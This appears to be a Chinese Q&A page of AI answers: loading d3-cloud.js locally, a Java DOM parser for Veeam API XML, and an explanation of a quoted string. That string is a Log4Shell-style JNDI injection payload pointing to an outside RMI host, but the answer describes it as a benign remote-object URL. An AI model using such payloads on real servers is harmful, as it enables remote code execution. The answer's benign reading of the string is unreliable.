你写的代码中的“https://d3js.org/d3-cloud.v1.min.js”出错了,请给一个本地的js文件?
时间: 2024-02-11 18:03:39 浏览: 32
当然可以,你可以将这个js文件下载到本地,然后在你的代码中通过本地路径引入它,例如:
```html
<script src="./d3-cloud.v1.min.js"></script>
```
请注意,"./"表示当前文件夹,你需要将d3-cloud.v1.min.js文件放在当前文件夹中。
相关问题
<?xml version="1.0" encoding="utf-8"?> <EntityReferences xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://www.veeam.com/ent/v1.0"> <Ref UID="urn:veeam:Repository:9dd23445-d0e5-4117-a1f2-2ce41689e639" Name="VNET-UATVEEAMBAK" Href="https://10.158.83.250:9398/api/repositories/9dd23445-d0e5-4117-a1f2-2ce41689e639" Type="RepositoryReference"> <Links> <Link Href="https://10.158.83.250:9398/api/backupServers/155012e7-8b5f-4dda-ad83-06eb5e559aa0" Name="10.158.83.250" Type="BackupServerReference" Rel="Up" /> <Link Href="https://10.158.83.250:9398/api/repositories/9dd23445-d0e5-4117-a1f2-2ce41689e639?format=Entity" Name="VNET-UATVEEAMBAK" Type="Repository" Rel="Alternate" /> <Link Href="https://10.158.83.250:9398/api/repositories/9dd23445-d0e5-4117-a1f2-2ce41689e639/backups" Type="BackupReferenceList" Rel="Down" /> <Link Href="https://10.158.83.250:9398/api/repositories/9dd23445-d0e5-4117-a1f2-2ce41689e639/replicas" Type="ReplicaReferenceList" Rel="Down" /> </Links> </Ref> <Ref UID="urn:veeam:Repository:c99c6c3c-c3d3-4ade-b0d8-bb65399d6a92" Name="Default Backup Repository" Href="https://10.158.83.250:9398/api/repositories/c99c6c3c-c3d3-4ade-b0d8-bb65399d6a92" Type="RepositoryReference"> <Links> <Link Href="https://10.158.83.250:9398/api/backupServers/155012e7-8b5f-4dda-ad83-06eb5e559aa0" Name="10.158.83.250" Type="BackupServerReference" Rel="Up" /> <Link Href="https://10.158.83.250:9398/api/repositories/c99c6c3c-c3d3-4ade-b0d8-bb65399d6a92?format=Entity" Name="Default Backup Repository" Type="Repository" Rel="Alternate" /> <Link Href="https://10.158.83.250:9398/api/repositories/c99c6c3c-c3d3-4ade-b0d8-bb65399d6a92/backups" Type="BackupReferenceList" Rel="Down" /> <Link Href="https://10.158.83.250:9398/api/repositories/c99c6c3c-c3d3-4ade-b0d8-bb65399d6a92/replicas" Type="ReplicaReferenceList" Rel="Down" /> </Links> </Ref> </EntityReferences>帮我写一个java工具类,用来解析以上格式的xml文件
可以使用Java自带的DOM解析器来解析XML文件。以下是一个示例工具类:
```java
import java.io.File;
import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
import org.w3c.dom.Document;
import org.w3c.dom.Element;
import org.w3c.dom.NodeList;
public class XMLParser {
public static void parse(String filePath) {
try {
File file = new File(filePath);
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
DocumentBuilder builder = factory.newDocumentBuilder();
Document document = builder.parse(file);
// 获取根节点
Element root = document.getDocumentElement();
// 获取所有子节点
NodeList nodeList = root.getElementsByTagName("Ref");
for (int i = 0; i < nodeList.getLength(); i++) {
Element element = (Element)nodeList.item(i);
String uid = element.getAttribute("UID");
String name = element.getAttribute("Name");
String href = element.getAttribute("Href");
String type = element.getAttribute("Type");
System.out.println("UID: " + uid + ", Name: " + name + ", Href: " + href + ", Type: " + type);
}
} catch (Exception e) {
e.printStackTrace();
}
}
}
```
调用该工具类的静态方法`parse`,传入XML文件的路径即可解析XML文件并输出所有`Ref`节点的属性。例如:
```java
XMLParser.parse("example.xml");
```
输出结果为:
```
UID: urn:veeam:Repository:9dd23445-d0e5-4117-a1f2-2ce41689e639, Name: VNET-UATVEEAMBAK, Href: https://10.158.83.250:9398/api/repositories/9dd23445-d0e5-4117-a1f2-2ce41689e639, Type: RepositoryReference
UID: urn:veeam:Repository:c99c6c3c-c3d3-4ade-b0d8-bb65399d6a92, Name: Default Backup Repository, Href: https://10.158.83.250:9398/api/repositories/c99c6c3c-c3d3-4ade-b0d8-bb65399d6a92, Type: RepositoryReference
```
string "${jndi:rmi://11.187.178.158:1099/bypassf28408704f2e42196109ae43d3c1a
这段字符串看起来像是一个JNDI(Java Naming and Directory Interface)的URL,用于在Java应用程序中查找和访问远程对象。在这个字符串中,"jndi"是协议头,表示这是一个JNDI的URL,而"rmi://11.187.178.158:1099/bypassf28408704f2e42196109ae43d3c1a"则是远程对象的地址。
在这段字符串中,"rmi"表示这是一个远程方法调用(Remote Method Invocation)协议,"11.187.178.158"是远程服务器的IP地址,"1099"是服务器上RMI注册表的端口号,而"/bypassf28408704f2e42196109ae43d3c1a"则是要调用的远程对象的名称或标识符。
根据这个字符串,我们可以推断出这是一个远程对象的JNDI名称,用于在客户端程序中查找和访问一个位于11.187.178.158服务器上,端口号为1099的RMI注册表中的远程对象。这个远程对象的名称或标识符是"bypassf28408704f2e42196109ae43d3c1a"。
总的来说,这段字符串表示了一个用于在Java应用程序中定位和访问远程对象的JNDI URL,其中包括了远程服务器的IP地址、端口号以及要查找的远程对象的标识符。
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